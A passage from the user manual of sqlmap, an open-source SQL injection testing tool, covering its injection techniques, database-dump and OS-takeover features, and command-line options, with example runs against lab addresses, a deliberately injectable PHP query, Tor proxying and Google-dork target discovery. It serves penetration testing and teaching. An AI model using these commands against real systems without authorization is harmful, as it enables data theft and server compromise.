## 1. Introduction

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of back-end database servers. It comes with a broad range of features lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

## 1.1 Requirements

sqlmap is developed in Python, a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system. It only requires the Python interpreter version equal or above to 2.5. The interpreter is freely downloadable from its official site. To make it even easier, many GNU/Linux distributions come out of the box with Python interpreter installed and other Unices and Mac OSX too provide it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too.

sqlmap relies on the Metasploit Framework for some of its post-exploitation takeover features. You need to grab a copy of it from the download page. The required version is 3.4 or above.

If you plan to attack a web application behind NTLM authentication or use the sqlmap update functionality you need to install respectively python-ntlm and python-svn libraries.

Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline library to be able to take advantage of the sqlmap TAB completion and history support functionalities in the SQL shell and OS shell. Note that these functionalities are available natively by Python standard readline library on other operating systems.

You can also choose to install Psyco library to speed up the sqlmap algorithmic operations.

## 1.2 Scenario

Let's say that you are auditing a web application and found a web page that accepts dynamic user-provided values on `GET` or `POST` parameters or HTTP `Cookie` values or HTTP `User-Agent` header value. You now want to test if these are affected by a SQL injection vulnerability, and if so, exploit them to retrieve as much information as possible out of the web application's back-end database management system or even be able to access the underlying operating system.

Consider that the target url is:

> ``http://172.16.213.131/sqlmap/mysql/get_int.php?id=1``

Assume that:

> ``http://172.16.213.131/sqlmap/mysql/get_int.php?id=1+AND+1=1``

is the same page as the original one and:

> ``http://172.16.213.131/sqlmap/mysql/get_int.php?id=1+AND+1=2``

differs from the original one, it means that you are in front of a SQL injection vulnerability in the `id` `GET` parameter of the `index.php` web application page which means that no IDS/IPS, no web application firewall, no parameters' value sanitization is performed on the server-side.

This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The Open Web Application Security Project rated on 2010 in their OWASP Top Ten survey this vulnerability as the most common and important web application vulnerability along with other injection flaws.

Back to the scenario, probably the SQL `SELECT` statement into `get_int.php` has a syntax similar to the following SQL query, in pseudo PHP code:

> ``$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];``

As you can see, appending any other syntatically valid SQL condition after a value for `id` such condition will take place when the web application passes the query to the back-end database management system that executes it, that is why the condition `id=1 AND 1=1` is valid (True) and returns the same page as the original one, with the same content and without showing any SQL error message.

Moreover, in this simple and easy to inject scenario it would be also possible to append, not just one or more valid SQL condition(s), but also stacked SQL queries, for instance something like `[...]&id=1; ANOTHER SQL QUERY#` if the web application technology supports stacked queries, also known as multiple statements.

Now that you found this SQL injection vulnerable parameter, you can exploit it by manipulating the `id` parameter value in the HTTP request.

There exist many resources on the Net explaining in depth how to prevent, how to detect and how to exploit SQL injection vulnerabilities in web application and it is recommended to read them if you are not familiar with the issue before going ahead with sqlmap.

Passing the original address, `http://172.16.213.131/sqlmap/mysql/get_int.php?id=1` to sqlmap, the tool will automatically:

- Identify the vulnerable parameter(s) (`id` in this scenario);
- Depending on the user's options, fingerprint, enumerate, takeover the database server.

## 1.3 Techniques

sqlmap implements three techniques to exploit a SQL injection vulnerability:

- Inferential blind SQL injection, also known as boolean based blind SQL injection: sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a `SELECT` sub-statement, or any other SQL statement whose the user want to retrieve the output. For each HTTP response, by making a comparison based upon HTML page content hashes, or string matches, with the original request, the tool determines the output value of the statement character by character. The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each output character with at maximum seven HTTP requests. This is sqlmap default SQL injection technique.
- UNION query (inband) SQL injection, also known as full UNION query SQL injection: sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string starting with a `UNION ALL SELECT`. This techique is useful if the web application page passes the output of the `SELECT` statement to a `for` cycle, or similar, so that each line of the query output is printed on the page content. sqlmap is also able to exploit partial (single entry) UNION query SQL injection vulnerabilities which occur when the output of the statement is not cycled in a for construct whereas only the first entry output is displayed. This technique is much faster if the target url is affected by because in a single HTTP response it returns the whole query output or a entry per each response within the page content. This SQL injection technique is an alternative to the first one.
- Batched (stacked) queries support, also known as multiple statements support: sqlmap tests if the web application supports stacked queries then, in case it does support, it appends to the affected parameter in the HTTP request, a semi-colon (`;`) followed by the SQL statement to be executed. This technique is useful to run SQL statements other than `SELECT` like, for instance, data definition or data manipulation statements possibly leading to file system read and write access and operating system command execution depending on the underlying back-end database management system and the session user privileges.

## 2. Features

Features implemented in sqlmap include:

## 2.1 Generic features

- Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server back-end database management systems. Besides these four database management systems software, sqlmap can also identify Microsoft Access, DB2, Informix, Sybase and Interbase.
- Full support for three SQL injection techniques: inferential blind SQL injection, UNION query (inband) SQL injection and batched queries support. sqlmap can also test for time based blind SQL injection.
- It is possible to provide a single target URL, get the list of targets from Burp proxy requests log file or WebScarab proxy `conversations/` folder, get the whole HTTP request from a text file or get the list of targets by providing sqlmap with a Google dork which queries Google search engine and parses its results page. You can also define a regular-expression based scope that is used to identify which of the parsed addresses to test.
- Automatically tests all provided GET parameters, POST parameters, HTTP Cookie header values and HTTP User-Agent header value to find the dynamic ones, which means those that vary the HTTP response page content. On the dynamic ones sqlmap automatically tests and detects the ones affected by SQL injection. Each dynamic parameter is tested for numeric, single quoted string, double quoted string and all of these three data-types with zero to two parenthesis to correctly detect which is the `SELECT` statement syntax to perform further injections with. It is also possible to specify the only parameter(s) that you want to perform tests and use for injection on.
- Option to specify the maximum number of concurrent HTTP requests to speed up the inferential blind SQL injection algorithms (multi-threading). It is also possible to specify the number of seconds to wait between each HTTP request.
- HTTP `Cookie` header string support, useful when the web application requires authentication based upon cookies and you have such data or in case you just want to test for and exploit SQL injection on such header. You can also specify to always URL-encode the Cookie header.
- Automatically handle HTTP `Set-Cookie` header from the application, re-establishing of the session if it expires. Test and exploit on these values is supported too. You can also force to ignore any `Set-Cookie` header.
- HTTP Basic, Digest, NTLM and Certificate authentications support.
- Anonymous HTTP proxy support to pass by the requests to the target application that works also with HTTPS requests.
- Options to fake the HTTP `Referer` header value and the HTTP `User-Agent` header value specified by user or randomly selected from a text file.
- Support to increase the verbosity level of output messages: there exist six levels. The default level is 1 in which information, warnings, errors and tracebacks (if any occur) will be shown.
- Granularity in the user's options.
- Estimated time of arrival support for each query, updated in real time while fetching the information to give to the user an overview on how long it will take to retrieve the output.
- Automatic support to save the session (queries and their output, even if partially retrieved) in real time while fetching the data on a text file and resume the injection from this file in a second time.
- Support to read options from a configuration INI file rather than specify each time all of the options on the command line. Support also to save command line options on a configuration INI file.
- Option to update sqlmap as a whole to the latest development version from the Subversion repository.
- Integration with other IT security open source projects, Metasploit and w3af.

## 2.2 Fingerprint and enumeration features

- Extensive back-end database software version and underlying operating system fingerprint based upon inband error messages, banner parsing, functions output comparison and specific features such as MySQL comment injection. It is also possible to force the back-end database management system name if you already know it.
- Basic web server software and web application technology fingerprint.
- Support to retrieve the DBMS banner, session user and current database information. The tool can also check if the session user is a database administrator (DBA).
- Support to enumerate database users, users' password hashes, users' privileges, databases, tables and columns.
- Support to dump database tables as a whole or a range of entries as per user's choice. The user can also choose to dump only specific column(s).
- Support to automatically dump all databases' schemas and entries. It is possibly to exclude from the dump the system databases.
- Support to enumerate and dump all databases' tables containing user provided column(s). Useful to identify for instance tables containing custom application credentials.
- Support to run custom SQL statement(s) as in an interactive SQL client connecting to the back-end database. sqlmap automatically dissects the provided statement, determines which technique to use to inject it and how to pack the SQL payload accordingly.

## 2.3 Takeover features

Some of these techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.

- Support to inject custom user-defined functions: the user can compile shared object then use sqlmap to create within the back-end DBMS user-defined functions out of the compiled shared object file. These UDFs can then be executed, and optionally removed, via sqlmap too.
- Support to read and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
- Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  - On MySQL and PostgreSQL via user-defined function injection and execution.
  - On Microsoft SQL Server via `xp_cmdshell()` stored procedure. Also, the stored procedure is re-enabled if disabled or created from scratch if removed.
- Support to establish an out-of-band stateful TCP connection between the user machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice. sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:
  - Database in-memory execution of the Metasploit's shellcode via sqlmap own user-defined function `sys_bineval()`. Supported on MySQL and PostgreSQL.
  - Upload and execution of a Metasploit's stand-alone payload stager via sqlmap own user-defined function `sys_exec()` on MySQL and PostgreSQL or via `xp_cmdshell()` on Microsoft SQL Server.
  - Execution of Metasploit's shellcode by performing a SMB reflection attack ( MS08-068) with a UNC path request from the database server to the user's machine where the Metasploit `smb_relay` server exploit runs.
  - Database in-memory execution of the Metasploit's shellcode by exploiting Microsoft SQL Server 2000 and 2005 `sp_replwritetovarbin` stored procedure heap-based buffer overflow ( MS09-004) with automatic DEP bypass.
- Support for database process' user privilege escalation via Metasploit's `getsystem` command which include, among others, the kitrap0d technique ( MS10-015) or via Windows Access Tokens insecure design by using Meterpreter's `incognito` extension.
- Support to access (read/add/delete) Windows registry hives.

## 3. Download and update

sqlmap can be downloaded from its SourceForge File List page. It is available in various formats:

- Source gzip compressed operating system independent.
- Source bzip2 compressed operating system independent.
- Source zip compressed operating system independent.
- DEB binary package architecture independent for Debian and any other Debian derivated GNU/Linux distribution.
- RPM binary package architecture independent for Fedora and any other operating system that can install RPM packages.
- Portable executable for Windows that does not require the Python interpreter to be installed on the operating system.

You can also checkout the latest development version from the sqlmap Subversion repository:

> `

>     $ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

> `

If you download a source package (gzip, bzip2 or zip) or sqlmap from the Subversion repository, you can update it to the latest development version anytime by running:

> `

>     $ python sqlmap.py --update

> `

Or:

> `

>     $ svn update

> `

Viceversa if you download a binary package (deb, rpm or exe), the update feature is disabled.

There are some differences between the packages:

- The source packages (gzip, bzip2 and zip) have all features. They contains the working copy from the Subversion repository updated at the time the sqlmap new version has been released.
- The Debian and Red Hat installation packages (deb and rpm) are compliant with the Linux distributions' packaging guidelines. This implies that they do not support the update features and do not include UPX (used to pack the Metasploit payload stager in some cases, see below).
- The Windows binary package (exe) can't update itself and does not support the takeover out-of-band features because they rely on Metasploit's `msfcli` which is not available for Windows.

It is therefore recommended to download any of the source packages and run it either from a shell like Bash on Unix and Mac OSX or from Cygwin on Windows.

## 5.1 Output verbosity

Option: `-v`

Verbose options can be used to set the verbosity level of output messages. There exist six levels. The default level is 1 in which information, warnings, errors and tracebacks (if any occur) will be shown. Level 2 shows also debug messages, level 3 shows also full HTTP requests, level 4 shows also HTTP responses headers and level 5 shows also HTTP responses page content.

Example on a MySQL 5.0.67 target (verbosity level 1):

## 5.2 Target

At least one of these options has to be specified to set the source to get target addresses from.

### Target URL

Option: `-u` or `-``-url`

To run sqlmap against a single target URL.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1"

>     [...]
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS: MySQL 5

> `

### Parse targets from Burp or WebScarab proxy logs

Option: `-l`

Rather than providing a single target URL, it is possible to test and inject on HTTP requests proxied through Burp proxy or WebScarab proxy.

Example passing to sqlmap a WebScarab proxy `conversations/` folder:

> `

>     $ python sqlmap.py -l /tmp/webscarab.log/conversations/

### Load HTTP request from a file

Option: `-r`

One of the possibilities of sqlmap is loading of complete HTTP request packet stored in textual file. That way you can skip usage of bunch of other options.

Sample content of a HTTP request file:

> `

>     POST /sqlmap/mysql/post_int.php HTTP/1.1
>     Host: 172.16.213.131
>     User-Agent: Mozilla/4.0

>     id=1

> `

Example usage:

> `

>     $ python sqlmap.py -r request.txt

>     [...]
>     [hh:mm:27] [INFO] parsing HTTP request from 'request.txt'
>     [...]

>     [hh:mm:22] [INFO] testing unescaped numeric injection on POST parameter 'id'
>     [hh:mm:22] [INFO] confirming unescaped numeric injection on POST parameter 'id'
>     [hh:mm:22] [INFO] POST parameter 'id' is unescaped numeric injectable with 0 parenthesis
>     [hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic

### Process Google dork results as target addresses

Option: `-g`

It is also possible to test and inject on `GET` parameters on the results of your Google dork.

This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with `GET` parameters asking you if you want to test and inject on each possible affected URL.

Example of Google dorking with expression `site:yourdomain.com ext:php`:

> `

>     $ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1

>     [hh:mm:38] [INFO] first request to Google to get the session cookie
>     [hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
>     testable hosts
>     [hh:mm:41] [INFO] sqlmap got a total of 59 targets
>     [hh:mm:40] [INFO] url 1:
>     GET http://yourdomain.com/example1.php?foo=12, do you want to test this
>     url? [y/N/q] n

>     GET http://yourdomain.com/example2.php?bar=24, do you want to test this
>     url? [y/N/q] n
>     [hh:mm:42] [INFO] url 3:

### Load options from a configuration INI file

Option: `-c`

It is possible to pass user's options from a configuration INI file, an example is `sqlmap.conf`.

Example usage:

> `

Note that if you also provide other options from command line, those are evaluated when running sqlmap and overwrite the same options, if set, in the provided configuration file.

## 5.3 Request

These options can be used to specify how to connect to the target application.

### HTTP method: `GET` or `POST`

Options: `-``-method` and `-``-data`

By default the HTTP method used to perform HTTP requests is `GET`, but you can change it to `POST` and provide the data to be sent through `POST` request. Such data, being those parameters, are tested for SQL injection like the `GET` parameters.

Example on an Oracle XE 10.2.0.1 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/post_int.php" --method POST \
>       --data "id=1"

>     [hh:mm:53] [INFO] testing connection to the target url
>     [hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
>     [hh:mm:54] [INFO] url is stable

>     back-end DBMS:    Oracle

> `

### HTTP `Cookie` header

Options: `-``-cookie`, `-``-cookie-urlencode` and `-``-drop-set-cookie`

This feature can be useful in two scenarios:

- The web application requires authentication based upon cookies and you have such data.
- You want to test for and exploit SQL injection on such header values.

The steps to go through in the second scenario are the following:

- On Firefox web browser login on the web authentication form while dumping URL requests with TamperData browser's extension.
- In the horizontal box of the extension select your authentication transaction then in the left box on the bottom click with the right button on the `Cookie` value, then click on `Copy` to save its value to the clipboard.
- Go back to your shell and run sqlmap.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/cookie_int.php" --cookie \
>       "id=1" -v 1

>     [hh:mm:37] [INFO] testing connection to the target url
>     [hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
>     [hh:mm:38] [INFO] url is stable
>     [hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
>     [hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
>     [hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
>     [hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
>     [hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
>     [hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
>     [hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
>     [...]

> `

Note that the HTTP `Cookie` header values are usually separated by a `;` character, not by an `&`.

If the web application at first HTTP response has a `Set-Cookie` header, sqlmap will automatically use it's value in all further HTTP requests as the `Cookie` header. sqlmap will also automatically test that value for SQL injection, except if you run it with `--drop-set-cookie` option.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.128/sqlmap/get_str.asp?name=luther" -v 3

>     [...]
>     [hh:mm:39] [INFO] testing connection to the target url
>     [hh:mm:39] [TRAFFIC OUT] HTTP request:

>     User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
>     Connection: close

>     [hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
>     [...]

> `

If you provide an HTTP `Cookie` header value and the target URL sends an HTTP `Set-Cookie` header, sqlmap asks you which one to use in the following HTTP requests.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.128/sqlmap/get_str.asp?name=luther" --cookie "id=1"

>     [hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
>     own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
>     values that you provided? [Y/n]

> `

sqlmap by default doesn't URL encode generated cookie injections, but you can force it by using the `-``-cookie-urlencode` flag. Cookie content encoding is not declared by standard in any way, so it's solely the matter of web application's behaviour.

### HTTP `User-Agent` header

Options: `-``-user-agent` and `-a`

By default sqlmap perform HTTP requests providing the following HTTP `User-Agent` header value:

> `

>     sqlmap/0.8 (http://sqlmap.sourceforge.net)

> `

It is possible to fake it with the `-``-user-agent` option.

Example on an Oracle XE 10.2.0.1 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" \
>       --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3

>     [...]
>     [hh:mm:02] [INFO] testing connection to the target url
>     [hh:mm:02] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 172.16.213.131
>     Accept-language: en-us,en;q=0.5
>     Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
>     Connection: close
>     [...]

> `

Providing a text file, `./txt/user-agents.txt` or any other file containing a list of at least one user agent, to the `-a` option, sqlmap will randomly select a `User-Agent` from the file and use it for all HTTP requests.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
>       -a "./txt/user-agents.txt"

>     [hh:mm:00] [DEBUG] initializing the configuration
>     [hh:mm:00] [DEBUG] initializing the knowledge base
>     [hh:mm:00] [DEBUG] cleaning up configuration parameters
>     [hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
>     [hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt':

>     [hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
>     [hh:mm:00] [DEBUG] creating HTTP requests opener object
>     [hh:mm:00] [DEBUG] parsing XML queries file
>     [hh:mm:00] [INFO] testing connection to the target url
>     [hh:mm:00] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 172.16.213.131
>     Accept-language: en-us,en;q=0.5
>     Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
>     Connection: close
>     [...]

> `

Note that the HTTP `User-Agent` header is tested against SQL injection also if you do not overwrite the default sqlmap HTTP `User-Agent` header value.

Some sites perform a server-side check on the HTTP `User-Agent` header value and fail the HTTP response if a valid `User-Agent` is not provided, its value is not expected or its value is blocked by a web application firewall or similar intrusion prevention system. In this case sqlmap will show you a message as follows:

> `

>     [hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try
>     to force the HTTP User-Agent header with option --user-agent or -a

> `

### HTTP `Referer` header

Option: `-``-referer`

It is possible to fake the HTTP `Referer` header value with this option. By default no HTTP `Referer` header is sent in HTTP requests.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --referer \
>       "http://www.google.com" -v 3

>     [...]
>     [hh:mm:48] [INFO] testing connection to the target url
>     [hh:mm:48] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 172.16.213.131
>     Accept-language: en-us,en;q=0.5
>     Referer: http://www.google.com
>     Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
>     Connection: close
>     [...]

> `

### Extra HTTP headers

Option: `-``-headers`

It is possible to provide extra HTTP headers by providing `-``-headers` options. Each header must be separated by a newline and it's much easier to provide them from the configuration INI file. Have a look at the sample `sqlmap.conf` file.

### HTTP `Basic`, `Digest` and `NTLM` authentications

Options: `-``-auth-type` and `-``-auth-cred`

These options can be used to specify which HTTP authentication type the web server implements and the valid credentials to be used to perfom all HTTP requests to the target application. The three valid types are `Basic`, `Digest` and `NTLM`, while the credentials' syntax is `username:password`.

Examples on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/basic/get_int.php?id=1" \
>       --auth-type Basic --auth-cred "testuser:testpass" -v 3

>     [...]
>     [hh:mm:14] [INFO] testing connection to the target url
>     [hh:mm:14] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/basic/get_int.php?id=1 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 172.16.213.131
>     Accept-language: en-us,en;q=0.5
>     Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/digest/get_int.php?id=1" \
>       --auth-type Digest --auth-cred "testuser:testpass" -v 3

>     [...]
>     [hh:mm:54] [INFO] testing connection to the target url
>     [hh:mm:54] [TRAFFIC OUT] HTTP request:

>     User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
>     Connection: close
>     [...]

> `

### HTTP Certificate authentication

Option: `-``-auth-cert`

This option should be used in cases when the web server requires proper user's certificate for authentication. Supplied values should be in the form: `key_file, cert_file`, where `key_file` should be the name of a PEM formatted file that contains your private key, while `cert_file` should be the name for a PEM formatted certificate chain file.

Example:

> `

>     $ python sqlmap.py -u "http://www.example.com/process.php?id=1" \
>       --auth-cert key.pem,cert.pem
>     [...]

> `

### HTTP proxy

Option: `-``-proxy` and `-``-ignore-proxy`

It is possible to provide an anonymous HTTP proxy address to pass by the HTTP requests to the target URL. The syntax of HTTP proxy value is `http://url:port`.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
>       --proxy "http://172.16.213.1:8080"

>     [hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
>     [hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
>     [hh:mm:37] [WARNING] the back-end DMBS is not MySQL
>     [hh:mm:37] [WARNING] the back-end DMBS is not Oracle
>     back-end DBMS:    PostgreSQL

> `

Instead of using a single anonymous HTTP proxy server to pass by, you can configure a Tor client together with Privoxy on your machine as explained on the Tor client guide then run sqlmap as follows:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
>       --proxy "http://172.16.213.1:8118"

> `

Note that `8118` is the default Privoxy port, adapt it to your settings.

The option `-``-ignore-proxy` should be used in cases like when you want to run sqlmap against the machine inside a local area network skipping default usage of a system-wide set HTTP proxy server.

### Concurrent HTTP requests

Option: `-``-threads`

It is possible to specify the number of maximum concurrent HTTP requests that sqlmap can start when it uses the blind SQL injection technique to retrieve the query output. This feature relies on the multithreading concept and inherits both its pro and its cons.

Examples on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
>       --current-user --threads 3

>     [...]
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS: MySQL >= 5.0.0

>     [hh:mm:18] [INFO] fetching current user
>     [hh:mm:18] [INFO] retrieving the length of query output
>     [hh:mm:18] [INFO] retrieved: 18
>     [hh:mm:19] [INFO] starting 3 threads
>     [hh:mm:19] [INFO] retrieved: testuser@localhost
>     current user:    'testuser@localhost'

> `

As you can see, sqlmap first calculates the length of the query output, then starts three threads. Each thread is assigned to retrieve one character of the query output. The thread then ends after up to seven HTTP requests, the maximum requests to retrieve a query output character with the blind SQL injection bisection algorithm implemented in sqlmap.

Note that the multithreading option is not needed if the target is affected by an inband SQL injection vulnerability and the `-``-union-use` option has been provided.

### Delay in seconds between each HTTP request

Option: `-``-delay`

It is possible to specify a number of seconds to wait between each HTTP request. The valid value is a float, for instance 0.5 means half a second.

### Seconds to wait before timeout connection

Option: `-``-timeout`

It is possible to specify a number of seconds to wait before considering the HTTP request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half.

### Maximum number of retries when the HTTP connection timeouts

Option: `-``-retries`

It is possible to specify the maximum number of retries when the HTTP connection timeouts. By default it retries up to three times.

### Filtering targets from provided proxy log using regular expression

Option: `-``-scope`

Rather than using all hosts parsed from provided logs with option `-l`, in combination with this option you can specify valid python regular expression to be used for filtering desired ones.

Example usage:

> `

>     $ python sqlmap.py -l /tmp/webscarab.log/conversations/ --scope="(www)?\.target\.(com|net|org)"

> `

## 5.4 Injection

These options can be used to specify which parameters to test for, provide custom injection payloads and how to parse and compare HTTP responses page content when using the blind SQL injection technique.

### Testable parameter(s)

Option: `-p`

By default sqlmap tests all `GET` parameters, `POST` parameters, HTTP `Cookie` header values and HTTP `User-Agent` header value for dynamicity and SQL injection vulnerability, but it is possible to manually specificy the parameter(s) you want sqlmap to perform tests on comma separeted in order to skip dynamicity tests and perform SQL injection test and inject directly only against the provided parameter(s).

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 1 \
>       -p "id"

>     [hh:mm:48] [INFO] testing connection to the target url
>     [hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
>     [hh:mm:49] [INFO] url is stable
>     [hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
>     [hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
>     [hh:mm:49] [INFO] GET parameter 'id' is dynamic
>     [hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
>     [hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
>     [hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
>     [hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
>     [hh:mm:49] [INFO] testing for parenthesis on injectable parameter
>     [hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
>     [...]

> `

Or, if you want to provide more than one parameter, for instance:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
>       -p "cat,id"

> `

You can also test only the HTTP `User-Agent` header.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/ua_str.php" -v 1 \
>       -p "user-agent" --user-agent "sqlmap/0.8 (http://sqlmap.sourceforge.net)"

### Force the database management system name

Option: `-``-dbms`

By default sqlmap automatically detects the web application's back-end database management system. At the moment, fully supported database management systems are:

- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server

It is possible to force the DBMS name if you already know it so that sqlmap will skip the fingerprint with an exception for MySQL and Microsoft SQL Server to only identify the version. To avoid also this check you can provide instead `MySQL <version>` or `Microsoft SQL Server <version>`, where <version> is a valid version for the DBMS; for instance `5.0` for MySQL and `2005` for Microsoft SQL Server.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 2 \
>       --dbms "PostgreSQL"

>     [...]
>     [hh:mm:31] [DEBUG] skipping to test for MySQL
>     [hh:mm:31] [DEBUG] skipping to test for Oracle
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS:    PostgreSQL

> `

In case you provide `-``-fingerprint` together with `-``-dbms`, sqlmap will only perform the extensive fingerprint for the specified database management system, read below for further details.

Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system. If you do not know it, let sqlmap automatically identify it for you.

### Force the database management system operating system name

Option: `-``-os`

By default sqlmap automatically detects the web application's back-end database management system underlying operating system when requested by any other functionality. At the moment the fully supported operating systems are two:

- Linux
- Windows

It is possible to force the operating system name if you already know it so that sqlmap will skip the fingerprint.

Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system underlying operating system. If you do not know it, let sqlmap automatically identify it for you.

### Custom injection payload

Options: `-``-prefix` and `-``-postfix`

In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.

Example on a MySQL 5.0.67 target on a page where the SQL query is: `$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";`:

> `

